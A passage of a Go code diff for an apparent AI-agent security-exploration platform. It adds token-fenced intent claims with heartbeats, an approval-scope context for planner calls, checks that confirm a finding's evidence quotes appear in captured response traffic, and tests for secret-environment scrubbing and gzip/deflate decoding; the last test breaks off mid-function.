 		TrafficCount: f.TrafficCount, EvidenceVersion: f.EvidenceVersion, ReportEvidenceVersion: f.ReportEvidenceVersion,
 		ReportStale: f.Report != "" && f.EvidenceVersion != f.ReportEvidenceVersion, TrafficBindings: f.TrafficBindings,
+		PoELevel: f.PoELevel, VerificationStatus: f.VerificationStatus, VerificationNote: f.VerificationNote,
 		VulnClass: f.VulnClass,
 		Name:      f.Name,
 		Severity:  f.Severity,
@@ -617,6 +623,9 @@ type LLMProfileDTO struct {
 	// Custom session header name: when non-empty, every request carries this HTTP header,
 	// its value = the current session/intent's session id. '' = do not send. For gateways that key prompt caching/sticky routing off a session-id header.
 	SessionHeaderKey string `json:"session_header_key"`
+	// Custom User-Agent: when non-empty, every outbound LLM request overrides its
+	// User-Agent header with this value. '' = do not override (keep the default UA).
+	UserAgent string `json:"user_agent"`
 	// This profile's retry overrides (connect / empty response / same-provider safe
 	// window). Per item attempts: 0=inherit the global policy | -1=disable that retry
 	// layer | >0=count; interval_ms: 0=default exponential backoff | >0=use that fixed millisecond interval. All zero = fully follow the global policy, i.e. the historical behavior.
@@ -644,6 +653,7 @@ func llmProfileDTO(p *db.LLMProfile) LLMProfileDTO {
 		MaxTokens:        p.MaxTokens,
 		MaxTokensField:   p.MaxTokensField,
 		SessionHeaderKey: p.SessionHeaderKey,
+		UserAgent:        p.UserAgent,
 		Retry:            p.Retry,
 	}
 }

server/engine.go

@@ -480,17 +480,6 @@ func (e *Engine) releaseWorkControl(intentID int64, run *workExecution, action s
 	e.workMu.Unlock()
 }
 
-func transitionIntentState(store *db.ExplorationStore, intentID int64, expected, state string) error {
-	changed, err := store.CompareAndSetIntentState(intentID, expected, state)
-	if err != nil {
-		return err
-	}
-	if !changed {
-		return fmt.Errorf("%w: intent %d is no longer in the %s state", db.ErrIntentStateConflict, intentID, expected)
-	}
-	return nil
-}
-
 // SteerWork queues a mid-run course-correction for the work running intentID (the
 // planner's steer_work tool). The worker delivers it before its next tool call and
 // re-plans — no kill. Errors if no work is currently running that intent.
@@ -761,10 +750,11 @@ func (e *Engine) Run(ctx context.Context, t *Task) {
 		t.Notify() // already running — just nudge a planning round
 		return
 	}
-	rt := e.registerTaskRoutines(ctx, t.ID, 1+workers)
+	rt := e.registerTaskRoutines(ctx, t.ID, 2+workers)
 	e.deleteMu.RUnlock()
 	e.touch(t.ID)
 	runTaskRoutine(rt, func(loopCtx context.Context) { e.plannerLoop(loopCtx, t) })
+	runTaskRoutine(rt, func(loopCtx context.Context) { e.claimSweepLoop(loopCtx, t) })
 	for i := 0; i < workers; i++ {
 		name := fmt.Sprintf("work#%d", i+1)
 		runTaskRoutine(rt, func(loopCtx context.Context) { e.workerLoop(loopCtx, t, name) })
@@ -817,6 +807,19 @@ func (e *Engine) quietSkipEdge(t *Task) bool {
 	return err == nil && active
 }
 
+// plannerGateContext tags a planning round's context for the target gate: the
+// task, the "planner" lane (so an approval request raised from the round shows
+// inline in the planner transcript) and the approval scope. wait bounds how long
+// a gated call may wait for a human decision.
+func (e *Engine) plannerGateContext(ctx context.Context, t *Task, wait time.Duration) context.Context {
+	emit := func(a db.Activity) {
+		a.Worker = "planner"
+		e.emitActivity(t, a)
+	}
+	ctx = intercept.WithTaskContext(ctx, t.ID, "planner", emit)
+	return intercept.WithTargetScope(ctx, t.targetScope(wait))
+}
+
 func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 	interval := plannerHeartbeatInterval(t)
 	// Arming the heartbeat timer at loop entry = counting from the task start: even a
@@ -907,8 +910,9 @@ func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 		// coalesces a burst; empty for time/heartbeat wakes).
 		triggers := t.drainTriggers()
 		taskIDInt, _ := strconv.ParseInt(t.ID, 10, 64)
+		pctx := e.plannerGateContext(ectx, t, intercept.DefaultTargetWaitBound)
 		e.BeginLLMCall(t.ID)
-		met, reason, err := planner.Plan(ectx, taskIDInt, e.m.assets, t.Store, t.Goal, triggers, emit)
+		met, reason, err := planner.Plan(pctx, taskIDInt, e.m.assets, t.Store, t.Goal, triggers, t.TargetGuard.Hooks(), emit)
 		e.EndLLMCall(t.ID)
 		switch {
 		case err != nil && ectx.Err() == nil:
@@ -950,6 +954,64 @@ func (e *Engine) plannerLoop(ctx context.Context, t *Task) {
 	}
 }
 
+// claimSweepLoop periodically returns this task's expired intent claims (no
+// heartbeat within db.IntentClaimTTL: the claiming worker crashed or its process
+// is gone) to the frontier, where the worker loops re-claim them. The startup
+// reset alone would miss a claim that was still live when this process started.
+func (e *Engine) claimSweepLoop(ctx context.Context, t *Task) {
+	ticker := time.NewTicker(db.IntentClaimHeartbeatInterval)
+	defer ticker.Stop()
+	for {
+		select {
+		case <-ctx.Done():
+			return
+		case <-ticker.C:
+		}
+		if !e.beginTaskOperation(t.ID) {
+			return
+		}
+		n, err := t.Store.ResetRunningIntents()
+		e.decInflight(t.ID)
+		if err != nil {
+			log.Printf("[engine] task %s expired-claim sweep failed: %v", t.ID, err)
+		} else if n > 0 {
+			log.Printf("[engine] task %s returned %d expired intent claims to open", t.ID, n)
+		}
+	}
+}
+
+// startClaimHeartbeat renews an intent claim every interval while its worker is
+// busy. A heartbeat rejected with db.ErrIntentClaimLost means the claim expired
+// and another worker took the intent over: the run is cancelled with
+// AbortWorkClaimLost so the stale worker stops. Any other store error is logged
+// and retried on the next tick; the claim survives until db.IntentClaimTTL
+// passes without a heartbeat. stop blocks until the heartbeat has ended.
+func startClaimHeartbeat(store *db.ExplorationStore, interval time.Duration, label string, intentID int64, token string, cancel context.CancelCauseFunc) (stop func()) {
+	quit, done := make(chan struct{}), make(chan struct{})
+	go func() {
+		defer close(done)
+		ticker := time.NewTicker(interval)
+		defer ticker.Stop()
+		for {
+			select {
+			case <-quit:
+				return
+			case <-ticker.C:
+			}
+			err := store.HeartbeatIntentClaim(intentID, token)
+			if errors.Is(err, db.ErrIntentClaimLost) {
+				log.Printf("[worker %s] intent #%d heartbeat rejected, cancelling this run: %v", label, intentID, err)
+				cancel(agent.AbortWorkClaimLost)
+				return
+			}
+			if err != nil {
+				log.Printf("[worker %s] intent #%d heartbeat failed, retrying: %v", label, intentID, err)
+			}
+		}
+	}()
+	return func() { close(quit); <-done }
+}
+
 func (e *Engine) workerLoop(ctx context.Context, t *Task, name string) {
 	for {
 		select {
@@ -1000,12 +1062,12 @@ func (e *Engine) workerLoop(ctx context.Context, t *Task, name string) {
 // runIntent. Returns false when nothing was claimable. The pool worker loop is its
 // only caller.
 func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker *agent.Worker) bool {
-	intent := e.claimNext(t, name)
+	intent, token := e.claimNext(t, name)
 	if intent == nil {
 		return false
 	}
 	log.Printf("[worker %s] task %s claimed intent #%d", name, t.ID, intent.ID)
-	return e.runIntent(ctx, t, name, worker, intent, "", "")
+	return e.runIntent(ctx, t, name, worker, intent, token, "", "")
 }
 
 // runIntent executes and fully settles one already-claimed (state=running) intent.
@@ -1016,7 +1078,10 @@ func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker
 // transcript marker that dedups re-injection across model_error retries. The caller
 // must already hold one task-operation admission for the whole sequence so a delete
 // cannot observe quiescence between the LLM return and the final DB writes.
-func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, requestID, message string) bool {
+// token is the unclaim token of the caller's claim: a heartbeat renews the claim
+// while the worker is busy, and every intent state write below is fenced on it,
+// so a worker whose claim was taken over cannot overwrite the new claimer.
+func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, token, requestID, message string) bool {
 	// Per-intent LLM rotation (#85): each claimed worker intent runs on the
 	// next chain head. The pin travels through the run context into the
 	// provider resolver; non-worker roles and failover keep the active head.
@@ -1031,7 +1096,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	emit := func(r db.Activity) { e.emitActivity(t, r) }
 	ectx := e.clockCtx(e.execContextFor(ctx, t.ID), t, false) // cancellable by Pause; carries the task deadline
 	if ectx.Err() != nil || e.IsDeleting(t.ID) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "open"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "open"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d claim rollback failed: %v", name, t.ID, intent.ID, err)
 		}
 		return true
@@ -1039,6 +1104,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// per-work child context so the planner's kill_work can stop just this work.
 	workCtx, workCancel := context.WithCancelCause(ectx)
 	e.registerWork(intent.ID, workCancel)
+	stopHeartbeat := startClaimHeartbeat(t.Store, db.IntentClaimHeartbeatInterval, name, intent.ID, token, workCancel)
 	// wrap the guard hooks so steer_work can inject a mid-run course-correction
 	// for THIS intent (drained before the worker's next tool call).
 	iid := intent.ID
@@ -1049,6 +1115,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	}
 	label := fmt.Sprintf("%s · #%d", name, iid)
 	workCtx = intercept.WithTaskContext(workCtx, t.ID, label, taskEmit)
+	workCtx = intercept.WithTargetScope(workCtx, t.targetScope(intercept.DefaultTargetWaitBound))
 	// nudges deliberately sits outside the model_error rerun loop: the idle-turn rerun
 	// cap is a per-intent total, and one rerun round must not reset it back to zero.
 	hooks := steerHooks{
@@ -1089,6 +1156,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		}
 		e.EndLLMCall(t.ID)
 	}
+	stopHeartbeat() // no longer busy: the state writes below follow within the just-renewed claim
 	// Capture kill state before detachWork cancels workCtx. kill = this work's
 	// ctx was cancelled (planner kill_work) while the TASK ctx kept running; a
 	// pause cancels the task ctx (ectx) instead. Checking workCtx.Err() AFTER
@@ -1111,7 +1179,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	var controlErr error
 	defer func() { completeWork(controlErr) }()
 	if action == "pause" {
-		controlErr = transitionIntentState(t.Store, intent.ID, "running", "paused")
+		controlErr = t.Store.SettleIntentClaim(intent.ID, token, "paused")
 		if controlErr != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the paused state: %v", name, t.ID, intent.ID, controlErr)
 			return true
@@ -1124,7 +1192,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		// Park the stopped run in paused before handing cleanup to the API. If the
 		// request disconnects after cancellation, the intent remains recoverable and
 		// a later cancel can finish cleanup instead of leaving a phantom running row.
-		controlErr = transitionIntentState(t.Store, intent.ID, "running", "paused")
+		controlErr = t.Store.SettleIntentClaim(intent.ID, token, "paused")
 		if controlErr != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the cancel barrier: %v", name, t.ID, intent.ID, controlErr)
 			return true
@@ -1133,11 +1201,18 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		e.touch(t.ID)
 		return true
 	}
+	// The heartbeat was rejected: the claim expired and another worker took the
+	// intent over. This run's result is void and the intent state is not ours to
+	// write (the fence would reject every write below).
+	if errors.Is(workCause, agent.AbortWorkClaimLost) {
+		log.Printf("[worker %s] task %s intent #%d claim lost to another worker, result discarded", name, t.ID, intent.ID)
+		return true
+	}
 	// if a pause cancelled this run mid-flight, return the intent to the frontier
 	// so it is re-claimed on resume — the worker will resume the prior LLM
 	// conversation from its transcript instead of restarting from scratch.
 	if ectx.Err() != nil && taskExecutionPaused(context.Cause(ectx)) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "open"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "open"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d task-pause rollback failed: %v", name, t.ID, intent.ID, err)
 		}
 		return true
@@ -1145,7 +1220,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// The hard-fallback cancel of task-timeout settlement (not pause, not kill) cancelled
 	// this run → classify it as exhausted (settled), not mislabeled blocked. By then the worker has usually written its result back during the settlement phase.
 	if ectx.Err() != nil && e.isSettling(t.ID) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "exhausted"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "exhausted"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the timeout-settlement state: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d ended by task-timeout settlement (exhausted), wrote back %s", name, t.ID, intent.ID, wrote)
@@ -1155,7 +1230,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	// Task judged complete (done via the regular path) → cancelExec above cancelled this
 	// run. The intent's result is meaningless now; mark it stopped (not blocked) and do not pollute the intent states of a completed task.
 	if ectx.Err() != nil && isTerminalStatus(e.m.TaskStatus(t.ID)) {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "stopped"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "stopped"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the terminal stop: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d cancelled because the task completed (stopped)", name, t.ID, intent.ID)
@@ -1164,7 +1239,7 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 	}
 	// killed by the planner: mark stopped (don't write back results, don't auto-reclaim).
 	if killed {
-		if err := transitionIntentState(t.Store, intent.ID, "running", "stopped"); err != nil {
+		if err := t.Store.SettleIntentClaim(intent.ID, token, "stopped"); err != nil {
 			log.Printf("[worker %s] task %s intent #%d failed to persist the planner stop: %v", name, t.ID, intent.ID, err)
 		}
 		log.Printf("[worker %s] task %s intent #%d killed (stopped)", name, t.ID, intent.ID)
@@ -1188,11 +1263,16 @@ func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *ag
 		state = "exhausted"
 		log.Printf("[worker %s] intent %d ran out of time (exhausted), wrote back %s after settling", name, intent.ID, wrote)
 	}
+	var stateErr error
 	if state == "blocked" && isTaskLLMChainExhausted(err) {
-		_ = t.Store.SetIntentBlockedReason(intent.ID, db.IntentBlockedLLMQuota)
+		stateErr = t.Store.SettleIntentClaimBlocked(intent.ID, token, db.IntentBlockedLLMQuota)
 	} else {
-		if stateErr := transitionIntentState(t.Store, intent.ID, "running", state); stateErr != nil {
-			log.Printf("[worker %s] task %s intent #%d failed to persist terminal state %s: %v", name, t.ID, intent.ID, state, stateErr)
+		stateErr = t.Store.SettleIntentClaim(intent.ID, token, state)
+	}
+	if stateErr != nil {
+		log.Printf("[worker %s] task %s intent #%d failed to persist terminal state %s: %v", name, t.ID, intent.ID, state, stateErr)
+		if errors.Is(stateErr, db.ErrIntentClaimLost) {
+			return true // taken over: the intent is not finished, its new claimer reports the result
 		}
 	}
 	log.Printf("[worker %s] task %s intent #%d finished: %s (wrote back %s)", name, t.ID, intent.ID, state, wrote)
@@ -1234,11 +1314,11 @@ func (e *Engine) runDetachedIntent(ctx context.Context, t *Task, intentID int64,
 	if node == nil || node.Kind != db.KindIntent {
 		return fmt.Errorf("intent not found")
 	}
-	changed, err := t.Store.CompareAndSetIntentState(intentID, "paused", "running")
+	token, err := t.Store.ClaimPausedIntentToken(intentID)
 	if err != nil {
 		return err
 	}
-	if !changed {
+	if token == "" {
 		return fmt.Errorf("%w: intent is no longer in the paused state", db.ErrIntentStateConflict)
 	}
 	node.State, node.Owner = "running", "chat"
@@ -1251,7 +1331,7 @@ func (e *Engine) runDetachedIntent(ctx context.Context, t *Task, intentID int64,
 	release = false // ownership of the admission passes to the goroutine
 	go func() {
 		defer e.decInflight(t.ID)
-		e.runIntent(ctx, t, "chat", worker, node, requestID, agentMessage)
+		e.runIntent(ctx, t, "chat", worker, node, token, requestID, agentMessage)
 	}()
 	return nil
 }
@@ -1279,12 +1359,12 @@ func sleepCtx(ctx context.Context, d time.Duration) (done bool) {
 	}
 }
 
-func (e *Engine) claimNext(t *Task, name string) *db.Node {
+func (e *Engine) claimNext(t *Task, name string) (*db.Node, string) {
 	fr, _ := t.Store.Frontier(20)
 	for _, in := range fr {
-		if ok, _ := t.Store.ClaimIntent(in.ID, name); ok {
-			return in
+		if token, _ := t.Store.ClaimIntentToken(in.ID, name); token != "" {
+			return in, token
 		}
 	}
-	return nil
+	return nil, ""
 }

server/engine_timeout.go

@@ -260,8 +260,10 @@ func (e *Engine) runFinalPlannerRound(ctx context.Context, t *Task) (met bool) {
 	e.emitActivity(t, db.Activity{Worker: "planner", Kind: "round",
 		Summary: fmt.Sprintf("task timeout settle · final judgment (round %d)", e.nextPlannerRound(t.ID))})
 	tTaskID, _ := strconv.ParseInt(t.ID, 10, 64)
+	// The final round judges, it does not explore: a gated call never waits here.
+	fctx = e.plannerGateContext(fctx, t, 0)
 	e.BeginLLMCall(t.ID)
-	met, reason, err := planner.Plan(fctx, tTaskID, e.m.assets, t.Store, t.Goal, t.drainTriggers(), emit)
+	met, reason, err := planner.Plan(fctx, tTaskID, e.m.assets, t.Store, t.Goal, t.drainTriggers(), t.TargetGuard.Hooks(), emit)
 	e.EndLLMCall(t.ID)
 	if err != nil {
 		log.Printf("[deadline] task %s final planning error: %v", t.ID, err)

server/env_scrub_test.go

@@ -1,6 +1,8 @@
 package server
 
 import (
+	"context"
+	"os"
 	"os/exec"
 	"strings"
 	"testing"
@@ -34,3 +36,30 @@ func TestScrubSecretEnvHidesSecretsFromChildren(t *testing.T) {
 		t.Errorf("non-secret variable did not reach the child process")
 	}
 }
+
+// New must apply the options it receives. An earlier version accepted
+// ...Option and never called them, so the binary kept the secrets in the
+// environment while the unit test above still passed.
+func TestNewAppliesSecretScrubOption(t *testing.T) {
+	// t.Setenv restores both after the test: the scrub unsets them for the rest
+	// of this process, and later tests still need the DSN.
+	if dsn := os.Getenv("ARTEX_PG_DSN"); dsn != "" {
+		t.Setenv("ARTEX_PG_DSN", dsn)
+	}
+	t.Setenv("ANTHROPIC_API_KEY", "scrub-probe")
+	t.Setenv("OPENAI_API_KEY", "scrub-probe")
+
+	m, err := NewManager(t.TempDir(), "")
+	if err != nil {
+		t.Skipf("no manager: %v", err)
+	}
+	t.Cleanup(func() { m.Close() })
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+	_ = New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir(), WithSecretScrub())
+
+	if os.Getenv("ANTHROPIC_API_KEY") != "" || os.Getenv("OPENAI_API_KEY") != "" {
+		t.Fatal("New did not apply WithSecretScrub: the secrets are still in the environment")
+	}
+}

server/finding_traffic_test.go

@@ -22,6 +22,7 @@ import (
 
 func trafficEvidenceServer(t *testing.T) (*Server, *db.RecordedFinding, func(string, string, string) *httptest.ResponseRecorder) {
 	t.Helper()
+	skipWithoutDSN(t)
 	m, err := NewManager(t.TempDir(), "")
 	if err != nil {
 		t.Fatal(err)

server/finding_verification.go

@@ -0,0 +1,244 @@
+package server
+
+import (
+	"bytes"
+	"compress/flate"
+	"compress/gzip"
+	"compress/zlib"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log"
+	"strings"
+	"unicode/utf8"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/evidence"
+)
+
+// S1 receipt check. A finding is verified only when a proof/verification
+// traffic body is bound, the agent declared POE L3 or higher, and every quote
+// appears verbatim (after whitespace normalization) in one of those response
+// bodies. Anything else is unverified, blocked or not_assessed, with a note.
+
+const (
+	verificationMinPOE        = 3
+	verificationMinQuoteRunes = 8       // shorter normalized quotes are ignored: "x7" proves nothing
+	verificationReadCap       = 4 << 20 // bytes read per bound body; a quote beyond this cannot be confirmed
+	verificationNoteQuoteLen  = 60
+)
+
+// boundBody is one bound response body, read through the evidence store and
+// normalized for the substring check.
+type boundBody struct {
+	text      string // whitespace-normalized text (only when !nonText)
+	truncated bool   // body was longer than verificationReadCap
+	nonText   bool   // binary or non-UTF-8 content: never claimed as a match
+}
+
+// normalizeEvidenceText trims and collapses every run of whitespace to one space.
+// Case is kept.
+func normalizeEvidenceText(s string) string {
+	return strings.Join(strings.Fields(s), " ")
+}
+
+// decodeEvidenceBody undoes the HTTP Content-Encoding declared in respHead on a
+// captured response body, returning at most limit decoded bytes. Only identity
+// and one layer of gzip or deflate are handled. Any other coding, a stacked
+// coding or a stream that does not decode is an error: the raw bytes are never
+// returned in place of a failed decode.
+func decodeEvidenceBody(respHead string, raw []byte, limit int) (out []byte, truncated bool, err error) {
+	coding := ""
+	for _, line := range strings.Split(respHead, "\n") {
+		name, value, ok := strings.Cut(line, ":")
+		if !ok || !strings.EqualFold(strings.TrimSpace(name), "Content-Encoding") {
+			continue
+		}
+		for _, v := range strings.Split(value, ",") {
+			switch v = strings.ToLower(strings.TrimSpace(v)); v {
+			case "", "identity":
+			case "gzip", "deflate":
+				if coding != "" {
+					return nil, false, fmt.Errorf("unsupported content-encoding: more than one compressed layer")
+				}
+				coding = v
+			default:
+				return nil, false, fmt.Errorf("unsupported content-encoding: %q", v)
+			}
+		}
+	}
+	if coding == "" || len(raw) == 0 {
+		return raw, false, nil
+	}
+	var zr io.Reader
+	switch {
+	case coding == "gzip":
+		zr, err = gzip.NewReader(bytes.NewReader(raw))
+	case len(raw) >= 2 && raw[0]&0x0f == 8 && raw[0]>>4 <= 7 && (uint(raw[0])<<8|uint(raw[1]))%31 == 0:
+		// HTTP "deflate" is the zlib format (RFC 9110); some servers send a bare
+		// deflate stream instead, told apart by the zlib header.
+		zr, err = zlib.NewReader(bytes.NewReader(raw))
+	default:
+		zr = flate.NewReader(bytes.NewReader(raw))
+	}
+	if err == nil {
+		out, err = io.ReadAll(io.LimitReader(zr, int64(limit)+1))
+	}
+	if err != nil {
+		return nil, false, fmt.Errorf("%s body: %w", coding, err)
+	}
+	if len(out) > limit {
+		return out[:limit], true, nil
+	}
+	return out, false, nil
+}
+
+// readBoundResponse reads the response side of a bound snapshot through the
+// evidence store (same bytes the UI shows), capped at verificationReadCap, and
+// decodes its Content-Encoding under the same cap.
+func readBoundResponse(store *evidence.Store, snap db.TrafficEvidenceSnapshot) (boundBody, error) {
+	f, _, err := store.OpenBody(snap, "response")
+	if err != nil {
+		return boundBody{}, err
+	}
+	defer f.Close()
+	raw, err := io.ReadAll(io.LimitReader(f, verificationReadCap+1))
+	if err != nil {
+		return boundBody{}, err
+	}
+	var bb boundBody
+	if len(raw) > verificationReadCap {
+		bb.truncated = true
+		raw = raw[:verificationReadCap]
+	}
+	raw, cut, err := decodeEvidenceBody(snap.RespHead, raw, verificationReadCap)
+	if err != nil {
+		return boundBody{}, err
+	}
+	if cut {
+		bb.truncated = true
+	}
+	if bb.truncated {
+		// The cap may cut a multi-byte rune: drop at most UTFMax-1 trailing bytes.
+		for i := 0; i < utf8.UTFMax-1 && !utf8.Valid(raw) && len(raw) > 0; i++ {
+			raw = raw[:len(raw)-1]
+		}
+	}
+	if bytes.IndexByte(raw, 0) >= 0 || !utf8.Valid(raw) {
+		bb.nonText = true
+		return bb, nil
+	}
+	bb.text = normalizeEvidenceText(string(raw))
+	return bb, nil
+}
+
+// assessFindingVerification computes the verification state of a finding from
+// its bound traffic and the quotes the agent supplied. poe is the declared POE
+// level (0 when absent). It never returns "verified" unless every rule passes.
+func (s *Server) assessFindingVerification(ctx context.Context, findingID int64, poe int, quotes []string) (status, note string) {
+	tr, err := s.m.pg.GetFindingTraffic(ctx, findingID)
+	if err != nil {
+		return db.VerificationNotAssessed, "binding read error: " + err.Error()
+	}
+	var proofs []db.FindingTrafficBinding
+	for _, b := range tr.Bindings {
+		if b.Role == "proof" || b.Role == "verification" {
+			proofs = append(proofs, b)
+		}
+	}
+	if len(proofs) == 0 {
+		return db.VerificationUnverified, "no proof traffic bound"
+	}
+	if poe < verificationMinPOE {
+		return db.VerificationUnverified, fmt.Sprintf("POE L%d below L3", poe)
+	}
+	if len(quotes) == 0 {
+		return db.VerificationUnverified, "no evidence quotes provided"
+	}
+	var checked []string
+	for _, q := range quotes {
+		if utf8.RuneCountInString(normalizeEvidenceText(q)) >= verificationMinQuoteRunes {
+			checked = append(checked, q)
+		}
+	}
+	if len(checked) == 0 {
+		return db.VerificationUnverified, "evidence quote too short"
+	}
+	store := s.evidenceStore()
+	bodies := make([]boundBody, 0, len(proofs))
+	for _, b := range proofs {
+		bb, err := readBoundResponse(store, b.Snapshot)
+		if err != nil {
+			// Fail closed: an unreadable body is never an "unverified" verdict.
+			return db.VerificationNotAssessed, "evidence body unreadable: " + err.Error()
+		}
+		bodies = append(bodies, bb)
+	}
+	for _, q := range checked {
+		nq := normalizeEvidenceText(q)
+		if nq != "" && quoteInBodies(nq, bodies) {
+			continue
+		}
+		for _, bb := range bodies {
+			if bb.nonText {
+				return db.VerificationNotAssessed, "non-text evidence"
+			}
+		}
+		for _, bb := range bodies {
+			if bb.truncated {
+				return db.VerificationNotAssessed, "quote not found within read cap of bound evidence"
+			}
+		}
+		return db.VerificationUnverified, "quote not found in bound evidence: " + shortQuote(q)
+	}
+	return db.VerificationVerified, ""
+}
+
+func quoteInBodies(nq string, bodies []boundBody) bool {
+	for _, bb := range bodies {
+		if !bb.nonText && strings.Contains(bb.text, nq) {
+			return true
+		}
+	}
+	return false
+}
+
+// shortQuote returns the first verificationNoteQuoteLen runes of the trimmed
+// quote, for use in a note.
+func shortQuote(q string) string {
+	r := []rune(strings.TrimSpace(q))
+	if len(r) > verificationNoteQuoteLen {
+		r = r[:verificationNoteQuoteLen]
+	}
+	return string(r)
+}
+
+// seedFindingVerificationSchema adds the S1 optional properties to the
+// update_finding_report schema of existing databases. Idempotent: a property is
+// added only when the stored schema lacks it, and user edits are preserved.
+func (s *Server) seedFindingVerificationSchema() {
+	raw, err := json.Marshal(s.toolUpdateFindingReport().InputSchema())
+	if err != nil {
+		log.Printf("[verification] tool schema: %v", err)
+		return
+	}
+	var obj map[string]json.RawMessage
+	if err := json.Unmarshal(raw, &obj); err != nil {
+		return
+	}
+	var properties map[string]json.RawMessage
+	if err := json.Unmarshal(obj["properties"], &properties); err != nil {
+		return
+	}
+	for _, name := range []string{"poe_level", "evidence_quotes"} {
+		if len(properties[name]) == 0 {
+			continue
+		}
+		_, err := s.m.pg.Exec(`UPDATE tools SET schema=jsonb_set(schema,ARRAY['properties',$2::text],$3::jsonb,true),updated_at=now()
+WHERE key=$1 AND system AND NOT(COALESCE(schema->'properties','{}'::jsonb) ? $2)`, "update_finding_report", name, string(properties[name]))
+		if err != nil {
+			log.Printf("[verification] upgrade update_finding_report.%s: %v", name, err)
+		}
+	}
+}

server/finding_verification_decode_test.go

@@ -0,0 +1,285 @@
+package server
+
+import (
+	"bytes"
+	"compress/flate"
+	"compress/gzip"
+	"compress/zlib"
+	"crypto/sha256"
+	"encoding/hex"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/evidence"
+)
+
+const (
+	decodeGzipHead = "HTTP 200\nContent-Type: text/html\nContent-Encoding: gzip\n"
+	decodeHTML     = "<html>\n  <body>user   admin:\tx7\n  end of dump</body>\n</html>"
+	decodeQuote    = "user admin: x7 end of dump"
+)
+
+// compressBody runs data through the compressor built by newWriter.
+func compressBody(t *testing.T, newWriter func(io.Writer) io.WriteCloser, data []byte) []byte {
+	t.Helper()
+	var buf bytes.Buffer
+	w := newWriter(&buf)
+	if _, err := w.Write(data); err != nil {
+		t.Fatal(err)
+	}
+	if err := w.Close(); err != nil {
+		t.Fatal(err)
+	}
+	return buf.Bytes()
+}
+
+func gzipBody(t *testing.T, data []byte) []byte {
+	return compressBody(t, func(w io.Writer) io.WriteCloser { return gzip.NewWriter(w) }, data)
+}
+
+// decodeSnapshot stores raw as a response body in a database-less evidence
+// store (same layout as evidence.hashPath) and returns the snapshot bound to it.
+func decodeSnapshot(t *testing.T, respHead string, raw []byte) (*evidence.Store, db.TrafficEvidenceSnapshot) {
+	t.Helper()
+	sum := sha256.Sum256(raw)
+	hash := hex.EncodeToString(sum[:])
+	dir := t.TempDir()
+	path := filepath.Join(dir, "blobs", hash[:2], hash+".bin")
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(path, raw, 0o644); err != nil {
+		t.Fatal(err)
+	}
+	return &evidence.Store{Dir: dir}, db.TrafficEvidenceSnapshot{RespHead: respHead, RespHash: hash, RespLen: int64(len(raw))}
+}
+
+func TestDecodeEvidenceBodyGzipQuoteFound(t *testing.T) {
+	raw := gzipBody(t, []byte(decodeHTML))
+	if strings.Contains(string(raw), "admin") {
+		t.Fatal("fixture is not compressed")
+	}
+	out, truncated, err := decodeEvidenceBody(decodeGzipHead, raw, verificationReadCap)
+	if err != nil || truncated {
+		t.Fatalf("decode: truncated=%v err=%v", truncated, err)
+	}
+	if string(out) != decodeHTML {
+		t.Fatalf("decoded %q, want %q", out, decodeHTML)
+	}
+	if !strings.Contains(normalizeEvidenceText(string(out)), normalizeEvidenceText(decodeQuote)) {
+		t.Fatalf("quote %q not found in decoded body", decodeQuote)
+	}
+}
+
+func TestDecodeEvidenceBodyTruncatedGzipFails(t *testing.T) {
+	raw := gzipBody(t, []byte(strings.Repeat(decodeHTML, 50)))
+	for _, cut := range []int{5, len(raw) / 2, len(raw) - 1} {
+		out, truncated, err := decodeEvidenceBody(decodeGzipHead, raw[:cut], verificationReadCap)
+		if err == nil || out != nil || truncated {
+			t.Fatalf("cut at %d: out=%d bytes truncated=%v err=%v, want an error and no bytes", cut, len(out), truncated, err)
+		}
+	}
+	// Not gzip at all: the raw bytes must not come back either.
+	out, _, err := decodeEvidenceBody(decodeGzipHead, []byte(decodeHTML), verificationReadCap)
+	if err == nil || out != nil {
